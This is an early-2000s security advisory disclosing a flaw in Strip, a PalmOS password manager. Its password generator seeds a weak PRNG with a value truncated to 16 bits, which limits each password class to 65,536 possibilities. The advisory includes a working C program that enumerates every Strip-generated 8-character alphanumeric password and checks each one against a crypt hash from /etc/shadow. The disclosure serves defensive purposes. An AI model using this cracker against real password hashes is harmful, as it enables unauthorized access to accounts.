COMMAND

    Strip

SYSTEMS AFFECTED

    PalmOS using Strip

PROBLEM

    Thomas Roessler found following.  If you have ever used Strip  for
    the Palm  to generate  your passwords,  change them.   Change them
    NOW.  Strip (Secure Tool  for Recalling Important Passwords) is  a
    nice encrypted password notebook for the Palm.

    Strip-0.5 also features a function for generating passwords, which
    certainly  has  some  appeal  to  anyone  who  generates passwords
    frequently.

    However, this function has some flaws, one of which has the effect
    to limit  the number  of different  passwords strip  can create to
    2^16  per  class  (alphanumeric,  alphabetic,  numeric, ... with N
    characters).

    Generating this number of passwords  and trying each of them  with
    crypt(3)  is  a  matter  of  less  than  3 seconds on a current PC
    running Linux.

    The attached program can be  used to demonstrate this in  the case
    of alphanumeric  passwords containing  8 characters.    Just  take
    your  encrypted,  strip-generated  password  from /etc/shadow, and
    pass it as the single command line argument.  (Covering the  other
    classes of passwords strip can generate is left as an exercise.)

    - Strip  uses  the  PalmOS  SysRandom()  function to generate  the
      passwords.  SysRandom() is a very simplistic linear PRNG,  which
      should most likely not be used for password generation.
    - Strip tries to seed this PRNG with the result of  TimGetTicks().
      TimGetTicks() returns  the number  of ticks  (1 Tick  = 10ms  on
      current devices) since the last  reset of your Palm.   The ticks
      counter is not incremented when the device is turned off.

      Obviously, small  values for  the TimGetTicks()  result are much
      more likely than large values,  so an attacker could just  start
      at 0  and try  any possible  ticks value.   This kind  of attack
      would  already  be  quite  successfull  and efficient - at least
      against  any  passwords  generated  during  the  first couple of
      months of regular use of a PalmOS device after a reboot.

    - The  actual implementation  has a  bug which  finally limits the
      search space to trivial dimensions: TimeGetTicks() returns a  32
      bit integer  value, and  the PRNG  expects such  a value  as its
      seed.  However, the  return value from TimeGetTicks()  is stored
      in a 16 bit Int variable.

      Thus, the numbers 0, ...,  0xffff are the only seeds  which will
      ever be used, limiting the  number of possible passwords of  any
      class to 2^16.

    Thanks  to  Ian  Goldberg  for  posting  his (correct) take at the
    SysRandom() function to coderpunks, and to Marc Haber for  telling
    about Strip.

    /*
     * Crack passwords generate by strip ("Secure Tool for Recalling
     * Important Passwords") for the Palm; see
     * <http://www.zetetic.net/products.html> for details.
     *
     * Copyright (c) 2001 by Thomas Roessler
     * <roessler@does-not-exist.org>.
     *
     * Use, distribute and modify freely.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>

    #include <string.h>
    #include <crypt.h>

    /* The PalmOS SysRandom() RNG. */

    static unsigned int multiplier = 22695477;
    static unsigned int _seed = 0;

    short palm_rand (unsigned int new_seed)
    {
      if (new_seed)
        _seed = new_seed;

      _seed = (_seed * multiplier) + 1;
      return (short)  ((_seed >> 16)  & 0x7fff);
    }

    /*
     * Strip's password generation algorithm for the alphanumeric case -
     * you can easily change this to cover the other cases as well.
     */

    static char *alphas = "abcdefhijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY=
    Z";
    static char *numerics = "0123456789";

    char *possible_password (unsigned int seed, int size)
    {
      static char pwbuff[1024];
      char z[1024];
      int i, r;
      int valids;

      if (size > sizeof (pwbuff))
        exit (1);

      sprintf (z, "%s%s",numerics, alphas);
      valids = strlen (z);

      r = palm_rand (seed);

      for (i = 0; i < size; i++)
      {
        r = palm_rand (0);
        pwbuff[i] = z[r % valids];
      }
      pwbuff[i] = '\0';

      return pwbuff;
    }

    /* check all possible passwords */

    int main (int argc, char *argv[])
    {
      int i;
      char *pw;

      for (i = 0; i <= 0xffff; i++)
      {
        pw = possible_password ((short) i, 8);
        if (!argv[1] || !strcmp (argv[1], crypt (pw, argv[1])))
          printf ("%s\n", pw);
      }

      return 0;
    }

SOLUTION

    Don't use Strip.  If the  Strip keyspace is so small, and  we know
    that someone somewhere must use  Strip, then we might as  well add
    the Strip  passwords to  the beginning  of our  attack, along with
    the dictionaries and whatnot.

    Whether or not an attacker _knows_ this, it does leave him with  a
    promising 64K  possibilities to  try first  - together  with fred,
    password,  secret,  etc.  It's  quite  possible  that  some  other
    password generators  have the  same flaw,  and also  populate that
    same restricted set.